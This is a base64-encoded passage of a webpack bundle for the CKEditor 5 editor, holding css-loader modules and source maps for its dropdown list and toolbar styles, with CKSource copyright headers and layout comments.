LXJhZGl1czowfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9kcm9wZG93bi9saXN0ZHJvcGRvd24uY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX3JvdW5kZWQuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBT0EsNkNDSUMsZURxQkQsQ0F6QkEsaUlDUUUscUNBQXNDLENESnRDLHdCQXFCRixDQWZFLG1GQ05ELGVEWUMsQ0FOQSw2TUNGQSxxQ0FBc0MsQ0RJcEMsd0JBQXlCLENBQ3pCLDJCQUE0QixDQUM1Qiw0QkFFRixDQUVBLGtGQ2RELGVEbUJDLENBTEEsMk1DVkEscUNBQXNDLENEWXBDLHdCQUF5QixDQUN6Qix5QkFFRiIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fcm91bmRlZC5jc3MiO1xuXG4uY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdCB7XG5cdC8qIERpc2FibGVkIHJhZGl1cyBvZiB0b3AtbGVmdCBib3JkZXIgdG8gYmUgY29uc2lzdGVudCB3aXRoIC5kcm9wZG93bl9fYnV0dG9uXG5cdGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzgxNiAqL1xuXHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xuXHR9XG5cblx0LyogTWFrZSBzdXJlIHRoZSBidXR0b24gYmVsb25naW5nIHRvIHRoZSBmaXJzdC9sYXN0IGNoaWxkIG9mIHRoZSBsaXN0IGdvZXMgd2VsbCB3aXRoIHRoZVxuXHRib3JkZXIgcmFkaXVzIG9mIHRoZSBlbnRpcmUgcGFuZWwuICovXG5cdCYgLmNrLWxpc3RfX2l0ZW0ge1xuXHRcdCY6Zmlyc3QtY2hpbGQgLmNrLWJ1dHRvbiB7XG5cdFx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRcdFx0Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDtcblx0XHRcdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcblx0XHRcdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0JjpsYXN0LWNoaWxkIC5jay1idXR0b24ge1xuXHRcdFx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0XHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG5cdFx0XHRcdGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEltcGxlbWVudHMgcm91bmRlZCBjb3JuZXIgaW50ZXJmYWNlIGZvciAuY2stcm91bmRlZC1jb3JuZXJzIGNsYXNzLlxuICpcbiAqIEBzZWUgJGNrLWJvcmRlci1yYWRpdXNcbiAqL1xuQGRlZmluZS1taXhpbiBjay1yb3VuZGVkLWNvcm5lcnMge1xuXHRib3JkZXItcmFkaXVzOiAwO1xuXG5cdEBuZXN0IC5jay1yb3VuZGVkLWNvcm5lcnMgJixcblx0Ji5jay1yb3VuZGVkLWNvcm5lcnMge1xuXHRcdGJvcmRlci1yYWRpdXM6IHZhcigtLWNrLWJvcmRlci1yYWRpdXMpO1xuXHRcdEBtaXhpbi1jb250ZW50O1xuXHR9XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2suY2stdG9vbGJhcnstbW96LXVzZXItc2VsZWN0Om5vbmU7LXdlYmtpdC11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmU7ZGlzcGxheTpmbGV4O2ZsZXgtZmxvdzpyb3cgbm93cmFwO2FsaWduLWl0ZW1zOmNlbnRlcn0uY2suY2stdG9vbGJhcj4uY2stdG9vbGJhcl9faXRlbXN7ZGlzcGxheTpmbGV4O2ZsZXgtZmxvdzpyb3cgd3JhcDthbGlnbi1pdGVtczpjZW50ZXI7ZmxleC1ncm93OjF9LmNrLmNrLXRvb2xiYXIgLmNrLmNrLXRvb2xiYXJfX3NlcGFyYXRvcntkaXNwbGF5OmlubGluZS1ibG9ja30uY2suY2stdG9vbGJhciAuY2suY2stdG9vbGJhcl9fc2VwYXJhdG9yOmZpcnN0LWNoaWxkLC5jay5jay10b29sYmFyIC5jay5jay10b29sYmFyX19zZXBhcmF0b3I6bGFzdC1jaGlsZHtkaXNwbGF5Om5vbmV9LmNrLmNrLXRvb2xiYXIgLmNrLXRvb2xiYXJfX2xpbmUtYnJlYWt7ZmxleC1iYXNpczoxMDAlfS5jay5jay10b29sYmFyLmNrLXRvb2xiYXJfZ3JvdXBpbmc+LmNrLXRvb2xiYXJfX2l0ZW1ze2ZsZXgtd3JhcDpub3dyYXB9LmNrLmNrLXRvb2xiYXIuY2stdG9vbGJhcl92ZXJ0aWNhbD4uY2stdG9vbGJhcl9faXRlbXN7ZmxleC1kaXJlY3Rpb246Y29sdW1ufS5jay5jay10b29sYmFyLmNrLXRvb2xiYXJfZmxvYXRpbmc+LmNrLXRvb2xiYXJfX2l0ZW1ze2ZsZXgtd3JhcDpub3dyYXB9LmNrLmNrLXRvb2xiYXI+LmNrLmNrLXRvb2xiYXJfX2dyb3VwZWQtZHJvcGRvd24+LmNrLWRyb3Bkb3duX19idXR0b24gLmNrLWRyb3Bkb3duX19hcnJvd3tkaXNwbGF5Om5vbmV9LmNrLmNrLXRvb2xiYXJ7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLXRvb2xiYXIsLmNrLmNrLXRvb2xiYXIuY2stcm91bmRlZC1jb3JuZXJze2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyl9LmNrLmNrLXRvb2xiYXJ7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci10b29sYmFyLWJhY2tncm91bmQpO3BhZGRpbmc6MCB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWNrLWNvbG9yLXRvb2xiYXItYm9yZGVyKX0uY2suY2stdG9vbGJhciAuY2suY2stdG9vbGJhcl9fc2VwYXJhdG9ye2FsaWduLXNlbGY6c3RyZXRjaDt3aWR0aDoxcHg7bWluLXdpZHRoOjFweDtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXRvb2xiYXItYm9yZGVyKTttYXJnaW4tdG9wOnZhcigtLWNrLXNwYWNpbmctc21hbGwpO21hcmdpbi1ib3R0b206dmFyKC0tY2stc3BhY2luZy1zbWFsbCl9LmNrLmNrLXRvb2xiYXIgLmNrLXRvb2xiYXJfX2xpbmUtYnJlYWt7aGVpZ2h0OjB9LmNrLmNrLXRvb2xiYXI+LmNrLXRvb2xiYXJfX2l0ZW1zPjpub3QoLmNrLXRvb2xiYXJfX2xpbmUtYnJlYWspe21hcmdpbi1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stdG9vbGJhcj4uY2stdG9vbGJhcl9faXRlbXM6ZW1wdHkrLmNrLmNrLXRvb2xiYXJfX3NlcGFyYXRvcntkaXNwbGF5Om5vbmV9LmNrLmNrLXRvb2xiYXI+LmNrLXRvb2xiYXJfX2l0ZW1zPjpub3QoLmNrLXRvb2xiYXJfX2xpbmUtYnJlYWspLC5jay5jay10b29sYmFyPi5jay5jay10b29sYmFyX19ncm91cGVkLWRyb3Bkb3due21hcmdpbi10b3A6dmFyKC0tY2stc3BhY2luZy1zbWFsbCk7bWFyZ2luLWJvdHRvbTp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stdG9vbGJhci5jay10b29sYmFyX3ZlcnRpY2Fse3BhZGRpbmc6MH0uY2suY2stdG9vbGJhci5jay10b29sYmFyX3ZlcnRpY2FsPi5jay10b29sYmFyX19pdGVtcz4uY2t7d2lkdGg6MTAwJTttYXJnaW46MDtib3JkZXItcmFkaXVzOjA7Ym9yZGVyOjB9LmNrLmNrLXRvb2xiYXIuY2stdG9vbGJhcl9jb21wYWN0e3BhZGRpbmc6MH0uY2suY2stdG9vbGJhci5jay10b29sYmFyX2NvbXBhY3Q+LmNrLXRvb2xiYXJfX2l0ZW1zPip7bWFyZ2luOjB9LmNrLmNrLXRvb2xiYXIuY2stdG9vbGJhcl9jb21wYWN0Pi5jay10b29sYmFyX19pdGVtcz46bm90KDpmaXJzdC1jaGlsZCk6bm90KDpsYXN0LWNoaWxkKXtib3JkZXItcmFkaXVzOjB9LmNrLmNrLXRvb2xiYXI+LmNrLmNrLXRvb2xiYXJfX2dyb3VwZWQtZHJvcGRvd24+LmNrLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9ue3BhZGRpbmctbGVmdDp2YXIoLS1jay1zcGFjaW5nLXRpbnkpfS5jay10b29sYmFyLWNvbnRhaW5lciAuY2suY2stdG9vbGJhcntib3JkZXI6MH0uY2suY2stdG9vbGJhcltkaXI9cnRsXT4uY2stdG9vbGJhcl9faXRlbXM+LmNrLFtkaXI9cnRsXSAuY2suY2stdG9vbGJhcj4uY2stdG9vbGJhcl9faXRlbXM+LmNre21hcmdpbi1yaWdodDowfS5jay5jay10b29sYmFyW2Rpcj1ydGxdOm5vdCguY2stdG9vbGJhcl9jb21wYWN0KT4uY2stdG9vbGJhcl9faXRlbXM+LmNrLFtkaXI9cnRsXSAuY2suY2stdG9vbGJhcjpub3QoLmNrLXRvb2xiYXJfY29tcGFjdCk+LmNrLXRvb2xiYXJfX2l0ZW1zPi5ja3ttYXJnaW4tbGVmdDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stdG9vbGJhcltkaXI9cnRsXT4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGQsW2Rpcj1ydGxdIC5jay5jay10b29sYmFyPi5jay10b29sYmFyX19pdGVtcz4uY2s6bGFzdC1jaGlsZHttYXJnaW4tbGVmdDowfS5jay5jay10b29sYmFyW2Rpcj1ydGxdLmNrLXRvb2xiYXJfY29tcGFjdD4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmZpcnN0LWNoaWxkLFtkaXI9cnRsXSAuY2suY2stdG9vbGJhci5jay10b29sYmFyX2NvbXBhY3Q+LmNrLXRvb2xiYXJfX2l0ZW1zPi5jazpmaXJzdC1jaGlsZHtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjA7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czowfS5jay5jay10b29sYmFyW2Rpcj1ydGxdLmNrLXRvb2xiYXJfY29tcGFjdD4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGQsW2Rpcj1ydGxdIC5jay5jay10b29sYmFyLmNrLXRvb2xiYXJfY29tcGFjdD4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGR7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6MDtib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowfS5jay5jay10b29sYmFyW2Rpcj1ydGxdPi5jay5jay10b29sYmFyX19zZXBhcmF0b3IsW2Rpcj1ydGxdIC5jay5jay10b29sYmFyPi5jay5jay10b29sYmFyX19zZXBhcmF0b3J7bWFyZ2luLWxlZnQ6dmFyKC0tY2stc3BhY2luZy1zbWFsbCl9LmNrLmNrLXRvb2xiYXJbZGlyPXJ0bF0uY2stdG9vbGJhcl9ncm91cGluZz4uY2stdG9vbGJhcl9faXRlbXM6bm90KDplbXB0eSk6bm90KDpvbmx5LWNoaWxkKSxbZGlyPXJ0bF0gLmNrLmNrLXRvb2xiYXIuY2stdG9vbGJhcl9ncm91cGluZz4uY2stdG9vbGJhcl9faXRlbXM6bm90KDplbXB0eSk6bm90KDpvbmx5LWNoaWxkKXttYXJnaW4tbGVmdDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stdG9vbGJhcltkaXI9bHRyXT4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGQsW2Rpcj1sdHJdIC5jay5jay10b29sYmFyPi5jay10b29sYmFyX19pdGVtcz4uY2s6bGFzdC1jaGlsZHttYXJnaW4tcmlnaHQ6MH0uY2suY2stdG9vbGJhcltkaXI9bHRyXS5jay10b29sYmFyX2NvbXBhY3Q+LmNrLXRvb2xiYXJfX2l0ZW1zPi5jazpmaXJzdC1jaGlsZCxbZGlyPWx0cl0gLmNrLmNrLXRvb2xiYXIuY2stdG9vbGJhcl9jb21wYWN0Pi5jay10b29sYmFyX19pdGVtcz4uY2s6Zmlyc3QtY2hpbGR7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6MDtib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowfS5jay5jay10b29sYmFyW2Rpcj1sdHJdLmNrLXRvb2xiYXJfY29tcGFjdD4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGQsW2Rpcj1sdHJdIC5jay5jay10b29sYmFyLmNrLXRvb2xiYXJfY29tcGFjdD4uY2stdG9vbGJhcl9faXRlbXM+LmNrOmxhc3QtY2hpbGR7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czowO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MH0uY2suY2stdG9vbGJhcltkaXI9bHRyXT4uY2suY2stdG9vbGJhcl9fc2VwYXJhdG9yLFtkaXI9bHRyXSAuY2suY2stdG9vbGJhcj4uY2suY2stdG9vbGJhcl9fc2VwYXJhdG9ye21hcmdpbi1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stdG9vbGJhcltkaXI9bHRyXS5jay10b29sYmFyX2dyb3VwaW5nPi5jay10b29sYmFyX19pdGVtczpub3QoOmVtcHR5KTpub3QoOm9ubHktY2hpbGQpLFtkaXI9bHRyXSAuY2suY2stdG9vbGJhci5jay10b29sYmFyX2dyb3VwaW5nPi5jay10b29sYmFyX19pdGVtczpub3QoOmVtcHR5KTpub3QoOm9ubHktY2hpbGQpe21hcmdpbi1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvdG9vbGJhci90b29sYmFyLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL21peGlucy9fdW5zZWxlY3RhYmxlLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvdG9vbGJhci90b29sYmFyLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQU9BLGVDRUMscUJBQXNCLENBQ3RCLHdCQUF5QixDQUN6QixvQkFBcUIsQ0FDckIsZ0JBQWdCLENERmhCLFlBQWEsQ0FDYixvQkFBcUIsQ0FDckIsa0JBNkNELENBM0NDLGtDQUNDLFlBQWEsQ0FDYixrQkFBbUIsQ0FDbkIsa0JBQW1CLENBQ25CLFdBRUQsQ0FFQSx5Q0FDQyxvQkFXRCxDQUpDLHlHQUVDLFlBQ0QsQ0FHRCx1Q0FDQyxlQUNELENBRUEsc0RBQ0MsZ0JBQ0QsQ0FFQSxzREFDQyxxQkFDRCxDQUVBLHNEQUNDLGdCQUNELENBR0MseUZBQ0MsWUFDRCxDRS9DRixlQ0dDLGVEMEZELENBN0ZBLHFFQ09FLHFDRHNGRixDQTdGQSxlQUdDLDZDQUE4QyxDQUM5QyxpQ0FBa0MsQ0FDbEMsK0NBd0ZELENBdEZDLHlDQUNDLGtCQUFtQixDQUNuQixTQUFVLENBQ1YsYUFBYyxDQUNkLHlDQUEwQyxDQU0xQyxrQ0FBbUMsQ0FDbkMscUNBQ0QsQ0FFQSx1Q0FDQyxRQUNELENBR0MsZ0VBRUMsb0NBQ0QsQ0FJQSxrRUFDQyxZQUNELENBR0QsZ0hBR0Msa0NBQW1DLENBQ25DLHFDQUNELENBRUEsbUNBRUMsU0FnQkQsQ0FiQywwREFFQyxVQUFXLENBR1gsUUFBUyxDQUdULGVBQWdCLENBR2hCLFFBQ0QsQ0FHRCxrQ0FFQyxTQVdELENBVEMsdURBRUMsUUFNRCxDQUhDLHlGQUNDLGVBQ0QsQ0FTRCxrRkFDQyxtQ0FDRCxDQXZGRixxQ0EyRkUsUUFFRixDQVlDLCtGQUNDLGNBQ0QsQ0FFQSxpSkFFQyxtQ0FDRCxDQUVBLHFIQUNDLGFBQ0QsQ0FJQyw2SkFDQyx3QkFBeUIsQ0FDekIsMkJBQ0QsQ0FHQSwySkFDQyx5QkFBMEIsQ0FDMUIsNEJBQ0QsQ0FJRCxxR0FDQyxtQ0FDRCxDQUdBLHlMQUNDLG1DQUNELENBV0EscUhBQ0MsY0FDRCxDQUlDLDZKQUNDLHlCQUEwQixDQUMxQiw0QkFDRCxDQUdBLDJKQUNDLHdCQUF5QixDQUN6QiwyQkFDRCxDQUlELHFHQUNDLG9DQUNELENBR0EseUxBQ0Msb0NBQ0QiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi9taXhpbnMvX3Vuc2VsZWN0YWJsZS5jc3MiO1xuXG4uY2suY2stdG9vbGJhciB7XG5cdEBtaXhpbiBjay11bnNlbGVjdGFibGU7XG5cblx0ZGlzcGxheTogZmxleDtcblx0ZmxleC1mbG93OiByb3cgbm93cmFwO1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdCYgPiAuY2stdG9vbGJhcl9faXRlbXMge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1mbG93OiByb3cgd3JhcDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGZsZXgtZ3JvdzogMTtcblxuXHR9XG5cblx0JiAuY2suY2stdG9vbGJhcl9fc2VwYXJhdG9yIHtcblx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cblx0XHQvKlxuXHRcdCAqIEEgbGVhZGluZyBvciB0cmFpbGluZyBzZXBhcmF0b3IgbWFrZXMgbm8gc2Vuc2UgKHNlcGFyYXRlcyBmcm9tIG5vdGhpbmcgb24gb25lIHNpZGUpLlxuXHRcdCAqIEZvciBpbnN0YW5jZSwgaXQgY2FuIGhhcHBlbiB3aGVuIHRvb2xiYXIgaXRlbXMgKGFsc28gc2VwYXJhdG9ycykgYXJlIGdldHRpbmcgZ3JvdXBlZCBvbmUgYnkgb25lIGFuZFxuXHRcdCAqIG1vdmVkIHRvIGFub3RoZXIgdG9vbGJhciBpbiB0aGUgZHJvcGRvd24uXG5cdFx0ICovXG5cdFx0JjpmaXJzdC1jaGlsZCxcblx0XHQmOmxhc3QtY2hpbGQge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdH1cblxuXHQmIC5jay10b29sYmFyX19saW5lLWJyZWFrIHtcblx0XHRmbGV4LWJhc2lzOiAxMDAlO1xuXHR9XG5cblx0Ji5jay10b29sYmFyX2dyb3VwaW5nID4gLmNrLXRvb2xiYXJfX2l0ZW1zIHtcblx0XHRmbGV4LXdyYXA6IG5vd3JhcDtcblx0fVxuXG5cdCYuY2stdG9vbGJhcl92ZXJ0aWNhbCA+IC5jay10b29sYmFyX19pdGVtcyB7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0fVxuXG5cdCYuY2stdG9vbGJhcl9mbG9hdGluZyA+IC5jay10b29sYmFyX19pdGVtcyB7XG5cdFx0ZmxleC13cmFwOiBub3dyYXA7XG5cdH1cblxuXHQmID4gLmNrLmNrLXRvb2xiYXJfX2dyb3VwZWQtZHJvcGRvd24ge1xuXHRcdCYgPiAuY2stZHJvcGRvd25fX2J1dHRvbiAuY2stZHJvcGRvd25fX2Fycm93IHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXHR9XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogTWFrZXMgZWxlbWVudCB1bnNlbGVjdGFibGUuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stdW5zZWxlY3RhYmxlIHtcblx0LW1vei11c2VyLXNlbGVjdDogbm9uZTtcblx0LXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTtcblx0LW1zLXVzZXItc2VsZWN0OiBub25lO1xuXHR1c2VyLXNlbGVjdDogbm9uZVxufVxuIiwnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3JvdW5kZWQuY3NzIjtcbkBpbXBvcnQgIkBja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvbWl4aW5zL19kaXIuY3NzIjtcblxuLmNrLmNrLXRvb2xiYXIge1xuXHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzO1xuXG5cdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXRvb2xiYXItYmFja2dyb3VuZCk7XG5cdHBhZGRpbmc6IDAgdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWNrLWNvbG9yLXRvb2xiYXItYm9yZGVyKTtcblxuXHQmIC5jay5jay10b29sYmFyX19zZXBhcmF0b3Ige1xuXHRcdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdFx0d2lkdGg6IDFweDtcblx0XHRtaW4td2lkdGg6IDFweDtcblx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci10b29sYmFyLWJvcmRlcik7XG5cblx0XHQvKlxuXHRcdCAqIFRoZXNlIG1hcmdpbnMgbWFrZSB0aGUgc2VwYXJhdG9ycyBsb29rIGJldHRlciBpbiBiYWxsb29uIHRvb2xiYXJzICh3aGVuIGFsaWduZWQgd2l0aCB0aGUgInRpcCIpLlxuXHRcdCAqIFNlZSBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy83NDkzLlxuXHRcdCAqL1xuXHRcdG1hcmdpbi10b3A6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRcdG1hcmdpbi1ib3R0b206IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHR9XG5cblx0JiAuY2stdG9vbGJhcl9fbGluZS1icmVhayB7XG5cdFx0aGVpZ2h0OiAwO1xuXHR9XG5cblx0JiA+IC5jay10b29sYmFyX19pdGVtcyB7XG5cdFx0JiA+ICo6bm90KC5jay10b29sYmFyX19saW5lLWJyZWFrKSB7XG5cdFx0XHQvKiAoIzExKSBTZXBhcmF0ZSB0b29sYmFyIGl0ZW1zLiAqL1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtcblx0XHR9XG5cblx0XHQvKiBEb25cJ3QgZGlzcGxheSBhIHNlcGFyYXRvciBhZnRlciBhbiBlbXB0eSBpdGVtcyBjb250YWluZXIsIGZvciBpbnN0YW5jZSxcblx0XHR3aGVuIGFsbCBpdGVtcyB3ZXJlIGdyb3VwZWQgKi9cblx0XHQmOmVtcHR5ICsgLmNrLmNrLXRvb2xiYXJfX3NlcGFyYXRvciB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0fVxuXG5cdCYgPiAuY2stdG9vbGJhcl9faXRlbXMgPiAqOm5vdCguY2stdG9vbGJhcl9fbGluZS1icmVhayksXG5cdCYgPiAuY2suY2stdG9vbGJhcl9fZ3JvdXBlZC1kcm9wZG93biB7XG5cdFx0LyogTWFrZSBzdXJlIGl0ZW1zIHdyYXBwZWQgdG8gdGhlIG5leHQgbGluZSBoYXZlIHYtc3BhY2luZyAqL1xuXHRcdG1hcmdpbi10b3A6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRcdG1hcmdpbi1ib3R0b206IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHR9XG5cblx0Ji5jay10b29sYmFyX3ZlcnRpY2FsIHtcblx0XHQvKiBJdGVtcyBpbiBhIHZlcnRpY2FsIHRvb2xiYXIgc3BhbiB0aGUgZW50aXJlIHdpZHRoLiAqL1xuXHRcdHBhZGRpbmc6IDA7XG5cblx0XHQvKiBTcGVjaWZpY2l0eSBtYXR0ZXJzIGhlcmUuIFNlZSBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvaXNzdWVzLzE2OC4gKi9cblx0XHQmID4gLmNrLXRvb2xiYXJfX2l0ZW1zID4gLmNrIHtcblx0XHRcdC8qIEl0ZW1zIGluIGEgdmVydGljYWwgdG9vbGJhciBzaG91bGQgc3BhbiB0aGUgaG9yaXpvbnRhbCBzcGFjZS4gKi9cblx0XHRcdHdpZHRoOiAxMDAlO1xuXG5cdFx0XHQvKiBJdGVtcyBpbiBhIHZlcnRpY2FsIHRvb2xiYXIgc2hvdWxkIGhhdmUgbm8gbWFyZ2luLiAqL1xuXHRcdFx0bWFyZ2luOiAwO1xuXG5cdFx0XHQvKiBJdGVtcyBpbiBhIHZlcnRpY2FsIHRvb2xiYXIgc3BhbiB0aGUgZW50aXJlIHdpZHRoIHNvIHJvdW5kZWQgY29ybmVycyBhcmUgcG9pbnRsZXNzLiAqL1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogMDtcblxuXHRcdFx0LyogSXRlbXMgaW4gYSB2ZXJ0aWNhbCB0b29sYmFyIHNwYW4gdGhlIGVudGlyZSB3aWR0aCBzbyBhbnkgYm9yZGVyIGlzIHBvaW50bGVzcy4gKi9cblx0XHRcdGJvcmRlcjogMDtcblx0XHR9XG5cdH1cblxuXHQmLmNrLXRvb2xiYXJfY29tcGFjdCB7XG5cdFx0LyogTm8gc3BhY2luZyBhcm91bmQgaXRlbXMuICovXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCYgPiAuY2stdG9vbGJhcl9faXRlbXMgPiAqIHtcblx0XHRcdC8qIENvbXBhY3QgdG9vbGJhciBpdGVtcyBoYXZlIG5vIHNwYWNpbmcgYmV0d2VlbiB0aGVtLiAqL1xuXHRcdFx0bWFyZ2luOiAwO1x